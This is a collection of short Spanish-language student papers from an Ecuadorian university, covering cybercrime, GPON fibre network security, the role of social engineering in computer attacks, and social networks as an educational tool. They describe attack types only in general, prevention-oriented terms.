El alcance de nuestra investigación se debe a medidas correctivas para minimizar y contrarrestar el delito cibernético en su máximo esplendor para cumplir con uno de los objetivos que es acabar con la vulnerabilidad de la integridad de las personas para así evitar muchos fraudes informáticos.

2. MATERIALES Y MÉTODOS

Metodología

La presente investigación empleó métodos teóricos tales como análisis- síntesis, histórico-lógico que permitieron profundizar todas y cada una de las interrogantes presentadas en la investigación sobre el delito cibernético, además, se utilizó el método bibliográfico para recopilar información y profundizar puntos relevantes del trabajo de investigación.

3. RESULTADOS Y DISCUSIÓN

La irrupción de Internet ha posibilitado que los delincuentes encuentren a sus víctimas, casi sin costo y sin esfuerzos, ampliando enormemente el mercado de víctimas.

Según las estadísticas la cibercriminalidad no deja de crecer año tras año a gran impacto, estas cifras hay que cogerlas con pinzas ya que siempre se quedan afuera muchos delitos.

4. CONCLUSIONES

La protección de la integridad de los datos permitió contrarrestar toda la abundante pérdida de datos que se obtiene día a día.

Las estadísticas acerca de la cibercriminalidad permitieron establecer que cada año será difícil combatir contra la vulnerabilidad de los datos, debido a la diaria innovación de los ciberdelitos.

REFERENCIAS BIBLIOGRÁFICAS

Rinaldi, P. (Abril de 2017). LE VPN. Obtenido de De donde viene el delito cibernetico:
<https://www.le-vpn.com/es/delito-cibernetico-origen-evolucion/>

Sain, G. (2015). Evolución histórica de los delitos informáticos. revista pensamiento penal, 1-4.

BIOGRAFÍAS DE AUTORES

Bryan Steven Armendáriz Castillo, Estudiante de 9no Semestre de la Carrera de Ingeniería en Sistema Computacionales de la Universidad Estatal del Sur de Manabí, Jipijapa- Manabí – Ecuador.

Kevin Randy Moreira Cobeña, Estudiante de 9no Semestre de la Carrera de Ingeniería en Sistema Computacionales de la Universidad Estatal del Sur de Manabí, Portoviejo – Manabí – Ecuador.

ESTUDIO DE SEGURIDAD APLICADO EN REDES GPON PARA CONSERVACIÓN DE LA ESTRUCTURA EVITANDO PÉRDIDA EN LA TRANSMISIÓN DE DATOS

Wellington Mauricio Álvarez Mendoza,

David Alexander León Moreira,

Ing. Edwin Joao Merchán Carreño,

Ing. Karina Virginia Mero Suárez

Ing. Carlos Renán Mero Suárez,

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

alvarez-wellington@unesum.edu.ec

RESUMEN

La presente investigación hace énfasis a las normas de seguridad de una red Gpon, considerando el desarrollo de la tecnología y aumento del ancho de banda para el funcionamiento de múltiples aplicaciones, plataformas y sistemas informáticos, puesto que, se creó la necesidad de una mejor transmisión de datos desplegándose así la tecnología FTTH (Fiber to the home), cuya función es proveer del servicio de internet hasta el hogar del usuario destacando las ventajas de utilización de este sistema de transmisión. Este trabajo de investigación tiene como objetivo primordial proteger los datos que atraviesan la red, definiendo metodologías conjuntas, ejecutadas en los puntos más frágiles de ataques, además, es importante el desarrollo de un sistema de seguridad que permita detectar e impedir posibles averías o incidentes recalcando que esta necesidad debe ser cubierta tanto física como lógicamente, en cuanto al desarrollo de esta indagación se abordaron los métodos de la investigación científica tales como: análisis- síntesis, histórico – lógico, pre-experimento y bibliográfico. Por otra parte, se trabaja constantemente en el cumplimiento de estas normas con la única finalidad de evitar el impacto negativo que pueda ocasionar en las caídas de sistemas o pérdidas de datos, de tal manera, que pueden representar un verdadero peligro para los usuarios con el desarrollo tecnológico circunstancial, es decir, que todos estos procesos de seguridad irán desarrollándose en base a las necesidades que se presenten.

PALABRAS CLAVE: ataque, conectividad; Gpon; seguridad.

ABSTRACT

The present research emphasizes the security standards of a Gpon network, considering the development of technology and increased bandwidth for the operation of multiple applications,

platforms and computer systems, since the need for better transmission was created. The FTTH technology (Fiber to the home) is deployed, whose function is to provide the internet service to the user's home, highlighting the advantages of using this transmission system. This research work has as primary objective to protect the data that cross the network, defining joint methodologies, executed in the most fragile points of attacks, in addition, it is important the development of a security system that allows to detect and prevent possible breakdowns or incidents emphasizing that this need must be covered both physically and logically, in terms of the development of this inquiry, the methods of scientific research were addressed such as: analysis-synthesis, historical-logical, pre-experiment and bibliography. On the other hand, we are constantly working on compliance with these standards with the sole purpose of avoiding the negative impact that may result in system crashes or data loss, in such a way that they can represent a real danger for users with the Circumstantial technological development, that is, that all these security processes will be developed based on the needs that arise.

KEYWORDS: attack, connectivity; Gpon; security.

1. INTRODUCCIÓN

Con el pasar del tiempo, se ha experimentado un rápido desarrollo en el ámbito informática, esto se debe en gran parte a la mayor competitividad impulsada en el mercado de las Telecomunicaciones y a la aparición de nuevos servicios que requieren un ancho de banda mayor, el resultado de estos dos factores hace necesario el mejoramiento de las redes de comunicaciones para que sean capaces de ofrecer el ancho de banda requerido no solo por un menor costo si no también que ofrezca un servicio de calidad.

Por otro lado, la demanda de los usuarios es cada vez mayor, es por este motivo que las empresas de telecomunicaciones emprenden una carrera por mejorar la velocidad de transmisión, sin embargo, las tecnologías de cobre cuentan con una limitación técnica importante: la máxima velocidad de transmisión que puede ofrecer no supera en ningún caso los 100Mbps, teniendo en cuenta que esta velocidad disminuye dependiendo de la distancia que se encuentre el usuario de la central. (POMA, 2018)

Según (Lam & Passive, 2007, 2008) Estos sistemas poseen muchas limitaciones frente a los sistemas ópticos actualmente implementados, los cuales emplean como principal medio de transmisión la fibra óptica cuyos anchos de banda son del orden de THz y atenuaciones de ~ 0,2 dB/km. Las redes ópticas pasivas (PON) son las que presentan mayores ventajas para la

transmisión de grandes distancias y sobre todo para tener enlaces punto a multipunto porque no existen elementos activos dentro de la red de acceso, excepto a nivel central. (Wang, 2009)

La tecnología GPON aún no se encuentra en pleno desarrollo en el país, sin embargo debido a que permite la entrega de servicios triple play tiene una importancia particular para la empresa TV Cable, la misma que provee a sus suscriptores de servicios de Internet, telefonía y televisión, pero de una manera individualizada, es decir, entregando cada servicio por una red de acceso diferente y por ende con más costo para el usuario final y con mayor dificultad para el monitoreo de cada una de las redes que se involucran en el proceso: “Notando en la actualidad el gran uso de redes de fibra óptica debemos tener en cuenta el tema de seguridad por la efectiva razón de transmitir señales de luz en vez de señales eléctricas nos permite determinar el grado de seguridad siendo esta inmunes a situaciones que generen ruido o interferencia, por ende el estudio de seguridad debe ser contemplado con mucha cautela ya que están proporcionando sus servicios mundialmente” (Pabon, 2009)

En base a lo mencionado anteriormente por los tres autores podemos definir que el masivo crecimiento de las tecnologías, necesidades de comunicación, usuarios en la red y sus servicios a nivel mundial han fomentado el desarrollo de nuevas técnicas y métodos de comunicación implementando tecnologías Gpon con la finalidad de evitar la pérdida de decibels de datos en la transmisión de los mismos y mejorando considerablemente la velocidad en la que estos se transmiten, sin embargo por otro lado debemos considerar que todo sistema debe contar con los respectivos protocolos de seguridad para evitar y corregir futuros errores manteniendo así funcionado el sistema en óptimas condiciones.

2. MATERIALES Y MÉTODOS

Metodología

La presente investigación empleó métodos teóricos tales como análisis- síntesis, histórico-lógico que permitieron profundizar todas y cada de las interrogantes presentadas en la investigación, por otra parte, se emplearon métodos empíricos tales como: pre-experimento, que se empleó en las pruebas de salida y entrada de paquetes de datos en simuladores, además, se utilizó el método bibliográfico para recopilar información y profundizar puntos relevantes del trabajo de investigación.

3. RESULTADOS Y DISCUSIÓN

En base a las simulaciones realizadas y a las pruebas se pudo determinar la influencia que tiene el cuidado técnico de las redes y estructuras Gpon tanto físico como lógico evitando así

ser presa fácil de algún ataque o desviación de paquetes de información ya que las amenazas de ciberseguridad no solo provienen del exterior sino también dentro de las organizaciones y para evitar que estas se propaguen y afecten la transferencia de datos, es necesario tener los elementos de detección y mitigación de ataques adecuados, más aún cuando se trata de redes y estructuras Gpon. En este caso bajo el siguiente grafico describo la estructura de una red Gpon determinando uno a uno los procesos que realiza en acción de envío de un paquete de datos.

Figura 1. Arquitectura FTTH GPON

Fuente: (Edison Quisnancela1, 2016)

4. CONCLUSIONES

El presente estudio basado en la seguridad de las redes GPON arroja como resultado una clara y amplia ventaja en la utilización de este tipo de red, haciendo comparaciones con los tipos de redes más comunes caracterizándolos por su amplio despliegue de información a través de sus canales de distribución tomando como puntos significativos los siguientes:

Eficacia en la transmisión de datos recalcando la seguridad en el medio de transmisión (Fibra Óptica).

Seguridad en los protocolos y capas de redes impidiendo que la red sea vulnerada por algún sujeto ajeno a las funciones de la misma.

REFERENCIAS BIBLIOGRÁFICAS

Edison Quisnancela¹, N. E. (16 de Agosto de 2016). Obtenido de
file:///C:/Users/usuario/AppData/Local/Temp/111-Texto%20del%20artículo-288-2-
10-20170117.pdf

Lam, C., & Passive, G. O. (2007, 2008). Obtenido de http://www.unipamplona.edu.co/unipamplona/portaIG/home_40/recursos/04_v19_24/revista_23/27092014/14.pdf

Pabon, D. (Enero de 2009). Obtenido de <https://www.google.com.ec/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0ahUKEwj98NDSxd7bAhUQ71MKHTVQCKsQFggmMAA&url=https%3A%2F%2Frevistas.utm.edu.ec%2Findex.php%2FRiemat%2Farticle%2Fdownload%2F945%2F836%2F&usg=AOvVaw2Uuo3ktDSToyjnzietXRh4>

POMA, J. A. (04 de abril de 2018). Obtenido de <http://dspace.unl.edu.ec/handle/123456789/20415>

Wang, C. H. (2009). Obtenido de http://www.unipamplona.edu.co/unipamplona/portaIG/home_40/recursos/04_v19_24/revista_23/27092014/14.pdf

BIOGRAFÍAS DE AUTORES

Wellington Mauricio Álvarez Mendoza, Estudiante de 9no semestre de la carrera ingeniería en sistemas computacionales de la Universidad Estatal del Sur de Manabí, Portoviejo – Manabí – Ecuador.

David Alexander León Moreira, Estudiante de 9no semestre de la carrera ingeniería en sistemas computacionales de la Universidad Estatal del Sur de Manabí, Portoviejo- Manabí – Ecuador.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

INFLUENCIA DE LA INGENIERÍA SOCIAL EN LOS ATAQUES INFORMÁTICOS

Johan Santiago Bonilla Bonilla,

Angie Paola Pin Viteri,

Ing. Edwin Joao Merchán Carreño. Mg.

Ing. Karina Virginia Mero Suárez. Mg.

Ing. Carlos Renán Mero Suárez

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

johanb1234@hotmail.com

RESUMEN

La ingeniería social es utilizada para manipular, interferir o inducir a los usuarios a revelar datos importantes para luego ser utilizados de diferentes maneras, depende mucho el nivel de conocimiento que tenga el ingeniero social, uno de los métodos más utilizados y declarado como el método más peligroso es el Phishing, este método consisten en construir sitios web y aprovechar dichos sitios para atacar, esta indagación tiene como objetivo primordial ayudar a fortalecer la seguridad de la información de las empresas y hacer enfoque también a otras áreas importantes y vulnerables como lo es el recurso humano. En cuanto al desarrollo del trabajo de investigación predomino el método teórico análisis – síntesis, por otra parte, los ingenieros sociales han catalogado a los humanos con diferentes cualidades que los hacen vulnerables tales como: la curiosidad, orgullo, ser el centro de atención, bondad. Así como se utiliza la ingeniería social para el mal también se la utiliza para el bien y a esto se le denomina “gestión de ingeniería social”, Definiendo así, que todos estamos propensos a sufrir un ataque de ingeniera social, porque sus técnicas están en constante evolución y con el pasar del tiempo se han clasificado en tipologías entre las cuales resaltan: Shoulder Surfing, Dumpster Diving, Juego de roles, Caballo de Troya, Phishing, Crawling Sitios web de organizaciones y foros online, Ingeniería Social Inversa, Sabotaje, Marketing, Soporte.

PALABRAS CLAVE: manipular, phishing, prevención, seguridad, vulnerables.

ABSTRACT

Social engineering is used to manipulate, interfere or induce users to reveal important data and then be used in different ways, depending on the level of knowledge that the social engineer has, one of the most used methods and declared as the most important method. dangerous is the Phising, this method is to build websites and take advantage of these sites

to attack, this research has as its primary objective to help strengthen the security of business information and also focus on other important and vulnerable areas such as the human resource. Regarding the development of research work, the theoretical analysis - synthesis method predominated; on the other hand, social engineers have cataloged humans with different qualities that make them vulnerable such as: curiosity, pride, being the center of attention, kindness. Just as social engineering is used for evil, it is also used for good and this is called "social engineering management", thus defining that we are all prone to suffer an attack of social engineering, because their techniques are constantly evolution and over time have been classified into types among which stand out: Shoulder Surfing, Dumpster Diving, Role Playing, Trojan Horse, Phishing, Crawling Websites of organizations and online forums, Reverse Social Engineering, Sabotage, Marketing, Support.

KEYWORDS: handle, phishing, prevention, security, vulnerable.

1. INTRODUCCIÓN

Actualmente la tecnología y la comunicación han conseguido la aparición de nuevas formas de ataques informáticos y nuevas técnicas de penetración a los sistemas, empresas, programas, equipos, etc. Ya que han hecho de internet el medio perfecto para ejecutar toda técnica y táctica de penetración, haciendo asumir a los usuarios que “si está conectado a la www corres riesgos de un ataque informático”.

La ingeniería social, es considerado tanto una técnica y táctica perfecta para introducirse de manera “legal” y sin levantar sospechas ya sea a una empresa, sistema u ordenador, esta técnica es una de las formas más utilizadas por los diferentes tipos de Hackers ya sean buenos o malos, la ingeniería social es un término usado en la ciencias políticas con el fin de intervenir en el comportamiento de una persona en nuestro caso un usuario, se trata básicamente de estudiar el comportamiento del usuario como sus gustos, pasatiempos, reacciones, emociones y movimientos diarios, etc. Mediante estos aspectos los ingenieros sociales realizan sus técnicas que a través del tiempo las han clasificado como: Shoulder Surfing, Dumpster Diving, Juego de roles, Caballo de Troya, Phising, Ingeniería Social Inversa, entre otras.

Los usuarios que se han visto expuestos a estos ataques comparten cosas en común como: tener acceso a claves, cuentas bancarias grandes, encargados de bases de datos, manejo y control de equipos, entre otras funciones. Los ingenieros sociales tienen en sus conceptos

que los usuarios pueden ser vulnerables porque poseen debilidades entre ellas están: la curiosidad, orgullo, querer ser el centro de atención, bondad, por lo general ven estas cualidades en el personal de oficina: secretaria, recepcionistas, burócratas, no importa de dónde sea el ataque mientras su computador o teléfono esté conectado a la red de la empresa.

2. DESARROLLO

El ataque informático más peligroso

Según Digital Guardian, el 97% de los ataques informáticos no aprovechan una falla en el software, sino que usan técnicas de ingeniería social para conseguir las credenciales necesarias para vulnerar la seguridad informática. Por eso, a veces poco importa las medidas de seguridad tecnológicas que implementes si las personas están mandando su clave por correo electrónico. Como parte de la estrategia de seguridad de tu compañía, tienes que hacer un gigantesco esfuerzo para evitar que los criminales informáticos implementen técnicas de ingeniería social para entrar a tus sistemas (Tecnología de información y comunicación, s.f.).

¿Cómo puede afectarte la ingeniería social si tienes un hijo?

Si eres padre de un menor de edad que está empezando a coquetear en internet deberías poder ser capaz de ver con quien se está relacionando, ya que por desgracia para todos sabemos que puede convertirse en el objetivo de algún adulto con malas intenciones. Al igual que a todos nos han dicho alguna vez "no hables con desconocidos" en la red ocurre lo mismo. Solo que en la red es más difícil detectar para el crío saber si realmente está hablando con otro chaval o con alguien que se está haciendo pasar por un niño. Esta gente suele ganarse la confianza de tus hijos haciéndoles creer que son también menores y poco a poco se los van llevando a su terreno hasta que tu hijo hará exactamente lo que el adulto pretendía desde el principio. La única forma de que puedas proteger a tu hijo de estos individuos es tener la capacidad de ver qué está ocurriendo en el ordenador cuando tú no estás delante. Y este es uno de los objetivos de este curso sobre seguridad informática y hacking (www.CursoHacker.es, 2014).

Ingeniería social aplicada a empresas

Si eres un empresario ten presente desde ya la siguiente frase en mente "una cadena se rompe siempre por el eslabón más débil". Esto es, de nada te servirá que tu red sea la más segura de la zona si tus empleados no están bien educados. Si no tienes un protocolo de actuación bien

definido un atacante ducho en ingeniería social podría sacar información suficiente de tu empresa sin ser descubierto en tan solo unas horas (www.CursoHacker.es, 2014).

Ingeniería social aplicada a intrusión en equipos

El objetivo en este tipo de escenarios es inducir a la víctima a descargar malware en su equipo. En función de los conocimientos informáticos de la posible víctima al atacante le será más fácil o difícil engañar a su objetivo. Un ejemplo muy común es colgar una web falsa con algún tipo de software malicioso, y después ya sea por correo electrónico, chat o cualquier medio generarle un interés a la víctima para que visite la web, si además se conoce el navegador que suele utilizar se podría preparar un exploit que con solo visitar la web se le instalara el malware. De ahí que si el atacante es capaz de hacer una página con esas características y suma la ingeniería social podrá lograr su objetivo (MrPywy, 2015).

Se enfoca principalmente en las empresas ingeniería social en empresas

La Ingeniería Social afecta a todos, pero los estafadores la utilizan cada vez más para atacar las grandes corporaciones y las PyME: 2014 se describió como el año en que los cibercriminales pasaron al sector empresarial.

Un informe de la industria de principios de 2015 reveló que se está usando la Ingeniería Social para atacar específicamente a los mandos medios y altos ejecutivos. La razón es porque son como una “mina de oro”, explicó en aquel entonces Richard De Vere, consultor de Ingeniería Social y pentester en The AntiSocial Engineer Limited (welivesecurity, 2016).

Ingeniería social, cuando blindar sistemas informáticos no lo es todo

En 2007 fue burlado uno de los sistemas de seguridad más caros del mundo. No hicieron falta armas, violencia, ni ningún tipo de aparato electrónico para que un hombre saliera con 28 millones de dólares en diamantes del banco ABM AMRO situado en Bélgica. La única arma que utilizó no se puede comprar: el encanto personal.

El tipo, que se hacía llamar Carlos Héctor Flomenbaum, tenía un pasaporte argentino que había sido robado en Israel. Con esta identidad se hizo cliente del banco y forjó la confianza de los empleados durante un año. Mientras se hacía pasar por un empresario de éxito, regalaba cajas de bombones a los trabajadores del banco. Un día, estos le dieron acceso a las cajas de seguridad que contenían gemas de 120.000 quilates, y entonces llevó a cabo uno de los mayores robos cometidos por una sola persona.

La moraleja es bien sencilla: no importa la tecnología de la que se dispone o cuán cara es esta, mientras intervenga el factor humano, el sistema sigue siendo vulnerable (open data security, 2017)

Cibermafias atacaron a 17 empresas ecuatorianas

El virus comenzó desde una mañana de lunes 19 de enero en horas de la tarde, expertos en informática identificaron la primera infección. El malware se propago y dentro de 5 días entro a los ordenadores de 17 empresas privadas y otras instituciones del área publica de quito, Guayaquil y cuenca. El software malicioso ingreso en los ordenadores y comprimió archivos: de Word, Excel, AutoCAD. Una de las entidades que sufrió este ataque perdió archivos importantes donde almacenaban sus bases de datos del área de contabilidad.

Tras la infección, las empresas dieron a notificar los daños a GMS, una de las cinco empresas que en Ecuador cubre mega plataformas informáticas. El viernes pasado, Xavier Almeida, especialista en seguridad de la información, decía a este Diario no haber visto algo similar en el país.

Los analistas de GMS dieron a conocer que los equipos estaban infectados por un virus llamado cryptolocker, un virus muy fuerte que se introduce a los ordenadores a través de un correo electrónico detrás de una información “útil” para la empresa.

Hasta el momento, en Ecuador lo más frecuente en delitos informáticos era, por ejemplo, la clonación de tarjetas, las estafas, extorsiones, acceso a correos electrónicos.

Datos oficiales revelan que entre 2008 y 2013, este delito aumentó del 203% al 458%. El mayor porcentaje (58,94%) golpeó a personas naturales (ELComercio.com, 2015).

3. MATERIALES Y MÉTODOS

Metodología

En el presente trabajo de investigación se empleó el método teórico análisis- síntesis, para determinar cómo se encuentra relacionada la influencia de la ingeniería social en los ataques informáticos en el mundo actual.

4. RESULTADO Y DISCUSIÓN

En base a la investigación y análisis respectivo de la información encontrada en las páginas web, declaran niveles e índices de ataques a empresas Datos oficiales revelan que entre 2008 y 2013, este delito aumentó del 20,3% al 45,8%. El mayor porcentaje (58,94%) golpeó a personas naturales.

5. CONCLUSIONES

El estudio realizado permitió arribar las siguientes conclusiones:

La ingeniería social es el medio más fácil y más aplicado para robar información, sin la necesidad de forzar a nadie, tan solo teniendo la habilidad de convencer, persuadir o tan solo con saber las técnicas podemos ingresar de una manera sencilla.

Las técnicas de la ingeniería social son tan influyentes que ningún tipo de usuario esta propenso a sufrir un ataque, desde un niño hasta un ingeniero en seguridad pueden transformarse en un blanco fácil.

Existen muchas manera de prevenir este tipo de ataques, lo principal es informarse de todas las maneras que podemos ser vulnerados y si somos propietarios de una empresa o trabajamos en ella tenemos que tener un grupo de personas con conocimientos de ingeniería social y gestión de la ingeniería social para que sean los encargados de capacitar a todo el personal que trabaja en el empresa para prevenir posibles ataque, las políticas de una empresa influyen mucho ya que si en nuestras políticas esta la prevención ayudara a la empresa.

REFERENCIAS BIBLIOGRÁFICAS

- ELComercio.com. (24 de enero de 2015). Obtenido de <https://www.elcomercio.com/actualidad/cibermafias-ciberataque-17empresas-ecuador-seguridadinformatica.html>.
- MrPywy. (06 de Septiembre de 2015). taringa! Obtenido de https://www.taringa.net/+info/nivel-basico-hacking-ingenieria-social-informatica_hl0z1
- open data security. (28 de marzo de 2017). Obtenido de <https://opendatasecurity.io/es/ingenieria-social-cuando-blindar-sistemas-informaticos-no-lo-es-todo/>
- Tecnología de información y comunicación. (s.f.). Obtenido de <https://tecnoinfocomunicacion.wordpress.com/ataques/>
- welivesecurity. (06 de enero de 2016). Obtenido de <https://www.welivesecurity.com/la-es/2016/01/06/5-cosas-sobre-ingenieria-social/>
- www.CursoHacker.es. (08 de enero de 2014). Obtenido de <http://cursohacker.es/ingenieria-social-informatica>

BIOGRAFÍAS DE AUTORES

Johan Santiago Bonilla Bonilla, Estudiante de noveno semestre de la carrera Ingeniería en Sistemas computacionales de la Universidad Estatal del Sur de Manabí, Jipijapa- Manabí- Ecuador.

Angie Paola Pin Viteri, Estudiante de noveno semestre de la carrera Ingeniería en Sistemas computacionales de la Universidad Estatal del Sur de Manabí, Jipijapa- Manabí – Ecuador.

Edwin Joao Merchán Carreño. Docente de la universidad Estatal del Sur de Manabí.

Karina Virginia Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

Carlos Renán Mero Suárez. Docente de la universidad Estatal del Sur de Manabí.

LAS REDES SOCIALES COMO HERRAMIENTA EDUCATIVA

Jacqueline Lisseth Baque Suarez,

Bryan Argenis Chóez Salazar,

Lcda. Kirenia Maldonado Zúñiga. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

bryansalazar1206@gmail.com

RESUMEN

El objetivo del presente trabajo fue con el fin de brindar conocimiento sobre las redes sociales que son una estructura capaz de comunicar entre sí a personas o instituciones, a través de internet se pueden establecer relaciones que creen grupos o comunidades con intereses comunes con esto las herramientas de la Web pueden ser aprovechadas con una ventaja competitiva para trabajar en forma colaborativa, son plataformas gratuitas y accesibles, que favorecen la motivación y el interés de los estudiantes al momento de buscar estrategias que beneficien su aprendizaje. La importancia de esta investigación trata de las redes sociales que constituyen una excelente oportunidad para el desarrollo de los programas académicos. Desde una perspectiva de aprendizaje es posible acceder a diversos recursos que facilitan la realización de actividades orientadas a la enseñanza, a la vez que permiten desarrollar habilidades y competencias digitales, trabajo colaborativo, sociabilidad, lo cierto es que las nuevas tecnologías han marcado una pauta importante sobre cómo aprovechar recursos que salen de lo tradicional para hacer un proceso de enseñanza algo más dinámico, interesante y sencillo para los estudiantes. En la investigación se utilizaron métodos como, del nivel teóricos: análisis, síntesis, histórico, lógico, inducción, deducción. Del nivel empírico: observación, revisión bibliográfica. Se concluye que las redes sociales son una herramienta muy importante en el ámbito educativo y son un mecanismo de aprendizaje para los estudiantes y para profesores mediante la interacción entre ellos.

PALABRAS CLAVE: aprendizaje, herramienta; información; método; plataforma.

ABSTRACT

The objective of this work was to provide knowledge about social networks that are a structure capable of communicating with each other to people or institutions, through the Internet you can establish relationships that create groups or communities with common interests with this

tools of the Web can be exploited with a competitive advantage to work collaboratively, are free and accessible platforms, which favor the motivation and interest of students when looking for strategies that benefit their learning. The importance of this research deals with social networks that constitute an excellent opportunity for the development of academic programs. From a learning perspective it is possible to access various resources that facilitate the realization of activities oriented to teaching, while allowing to develop skills and digital skills, collaborative work, sociability, the truth is that new technologies have set an important pattern on how to take advantage of resources that come out of the traditional to make a teaching process more dynamic, interesting and simple for students. In the research methods were used as, of the theoretical level: analysis, synthesis, historical, logical, induction, deduction. From the empirical level: observation, bibliographic review. It is concluded that social networks are a very important tool in the educational field and are a learning mechanism for students and teachers through the interaction between them.

KEYWORDS: information, learning, method, platform, tool.

INTRODUCCIÓN

Las redes sociales se han incorporado de manera importante a la vida de los seres humanos, de modo que se encuentran presentes prácticamente en todos los ámbitos. Incluso aquellas personas que no emplean un equipo de cómputo, al menos, han escuchado hablar de ellas. Algunos de los principales espacios en los que han tenido una influencia preponderante, son: comunicación organizacional, difusión de proyectos, mercadotecnia, publicidad, comercio y relaciones interpersonales; entre otros. Los beneficios para aquellos que forman parte de las redes sociales son varios, entre ellos se encuentran aspectos de suma importancia para el ser humano, como pertenecer a un grupo con el que se tiene afinidad, hacer o renovar amistades, y en lo laboral, colaborar y compartir conocimientos, así como buscar trabajo, promoviendo los conocimientos y habilidades.

Las redes sociales son una estructura capaz de comunicar entre sí a personas o instituciones. A través de internet se pueden establecer relaciones que creen grupos o comunidades con intereses comunes.

La capacidad de poner en contacto personas es algo inherente a los servicios de redes sociales y tiene una aplicación inmediata a la sociedad educativa, entendida ésta como la formada por

los profesores y los alumnos en un centro educativo. El diálogo y la comunicación entre alumnos y profesores. Especialmente como favorecedor de la comunicación en su vertiente docente de enseñanza y aprendizaje, sin despreciar la personal que como en cualquier red social no educativa se puede ver potenciada.

Las herramientas de la Web pueden ser aprovechadas con una ventaja competitiva para trabajar en forma colaborativa, ya que son plataformas gratuitas y accesibles, que favorecen la motivación y el interés de los estudiantes al momento de buscar estrategias que beneficien su aprendizaje. En las instituciones educativas ha surgido un interés por conocer e incorporar las redes sociales para usos académicos, con impacto en el quehacer docente y en los procesos formativos de los alumnos. Sin embargo, las acciones han sido por iniciativas particulares y con impacto específico en algunos contextos. Además, se presenta una propuesta metodológica para el análisis de la comunicación y la interacción en las redes sociales con fines educativos, con un enfoque interpretativo, tomando en cuenta el significado y las intencionalidades de las relaciones de los miembros de la red.

Hoy en día el internet es una herramienta muy útil que está al alcance de todos, sobre todo para nosotros los jóvenes, quienes somos los principales participantes en esta generación tecnológica e innovadora. Por eso hoy en día le damos una gran importancia y uso a las redes sociales online.

Los docentes han sido colocados frente al desafío de tener que explorar nuevas formas de comunicación con sus estudiantes. Esto no significa cambiar el significado de lo importante, de lo trascendente (aprendizaje), ni tampoco implica estimular otras habilidades diferentes. Debería aprovecharse el impacto que tienen las tecnologías de información y comunicación (TICs) en la educación. Es una oportunidad que está a favor de los educadores.

La integración educativa de las tecnologías recién está esbozándose y no existe un caudal de experiencias sistematizadas, ni investigaciones en nuestros medios que nos iluminen en el cómo hacer. En este sentido, son los equipos docentes completos los que tienen el desafío de asumir esta tarea: las nuevas generaciones lo reclaman.

El impacto de las TICs en la educación y en la formación todavía no ha sido tan significativo como se esperaba a pesar del amplio apoyo político y social que han tenido. La inserción de las TICs en la educación y en los sistemas de formación requiere nuevos cambios a través de ámbitos como el tecnológico, organizativo, enseñanza y aprendizaje en las aulas, en los lugares de trabajo y en los entornos de aprendizaje informal. A pesar de que las TICs tienen el potencial

para desarrollar un proceso continuo de aprendizaje que apoyaría el aprendizaje permanente, abarcando el aprendizaje formal, informal y en el lugar de trabajo, esto aún no ha sido alcanzado.

En este terreno hay quienes plantean ser precavidos frente al dogma de que las nuevas tecnologías son la respuesta a todos los desafíos en el campo de la educación.

Existe una prisa por aplicar una nueva tendencia o una nueva estrategia sin una reflexión conceptual, como si existiera presión por la realidad educativa para llevar a cabo acciones. Este tema se vincula con la necesidad del sistema de reconocer que está realizando innovaciones, pero el problema en el fondo es que en general estas acciones no alcanzan a realizarse con cierta solidez dado que la innovación es más una declaración verbal que una acción realizada por parte de los docentes a partir de un convencimiento de la importancia de la innovación.

Las plataformas son apenas recursos, la clave está en el uso que les damos (De la Zerda Bustamante, 2015).

1. MATERIALES Y MÉTODOS

Métodos teóricos

Análisis – síntesis: Se utilizo para determinar el uso de las redes sociales como herramienta educativa.

Historico – lógico: Se uso en el desarrollo y construcción de la investigación sobre las redes sociales con el fin de analizar y buscar estrategias que beneficien el aprendizaje.

Inducción – deducción: Se empleo en el análisis del uso de las redes sociales con el fin de deducir los problemas del presente trabajo.

Del nivel empírico:

Observación: Permitio investigar y analizar toda la información, dando las pautas necesarias para el desarrollo de la investigación.

Revision bibliográfica: Se utilizo en la recopilación de la información para la elaboración de la investigacion mediante revistas científicas, artículos entre otros.

2. RESULTADOS Y DISCUSIÓN

Los resultados obtenidos indican que las redes sociales, en particular Facebook, están en condiciones de ocupar un sitio relevante como una herramienta en el aula posibilitando un

mejor uso de los recursos disponibles. Facebook es un portal de redes con alto valor comunicativo, de acuerdo a la percepción del grupo en estudio se requiere profundizar la investigación para determinar si éste se corresponde a un alto valor educativo. El análisis de los resultados obtenidos determina una clara asociación entre esta red y la búsqueda de información referida a la unidad académica, sin identificarse, al menos claramente, usos vinculados a otras actividades propias de la vida estudiantil universitaria.

3. CONCLUSIONES

Las redes sociales se están convirtiendo en una herramienta que permite el desarrollo de las habilidades comunicativas y puede ser utilizada como estrategia de aprendizaje por parte de los estudiantes, pues la mayoría de ellos las usan, pero no siempre como parte de sus actividades académicas. Entonces se puede concluir que las redes sociales ofrecen una gran gama de posibilidades para los docentes en términos de establecer interacción en diversas vías, empezando por colegas, estudiantes e incluso con las autoridades de sus instituciones. Siempre es conveniente definir inicialmente qué es lo que se desea resolver con cierta herramienta tecnológica, pues con base en ello será más sencillo elegir qué solución sería la más adecuada; esto tomando en cuenta todos los factores involucrados en la situación de enseñanza a resolver. Las redes sociales son una herramienta muy importante en el ámbito educativo y son un mecanismo de aprendizaje para los estudiantes y para profesores mediante la interacción entre ellos.

REFERENCIAS BIBLIOGRÁFICAS

- De la Zerda Bustamante, S. N. (2015). Obtenido de universidad de palermo:
http://fido.palermo.edu/servicios_dyc/publicacionesdc/vista/detalle_articulo.php?id_articulo=13008&id_libro=624
- Herrera, C. (12 de abril de 2015). Obtenido de compartir palabra maestra:
<https://compartirpalabramaestra.org/blog/redes-sociales-como-herramienta-para-la-educacion>
- Torres, C. I. (2011). Obtenido de universidad de guadalajara:
<http://www.udgvirtual.udg.mx/apertura/index.php/apertura/article/view/198/213>

BIOGRAFÍA DE AUTORES

Jacqueline Lisseth Baque Suarez estudiante de la carrera Tecnologías de la Información en la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal “Quince de Octubre” Naranjal – Guayas – Ecuador.

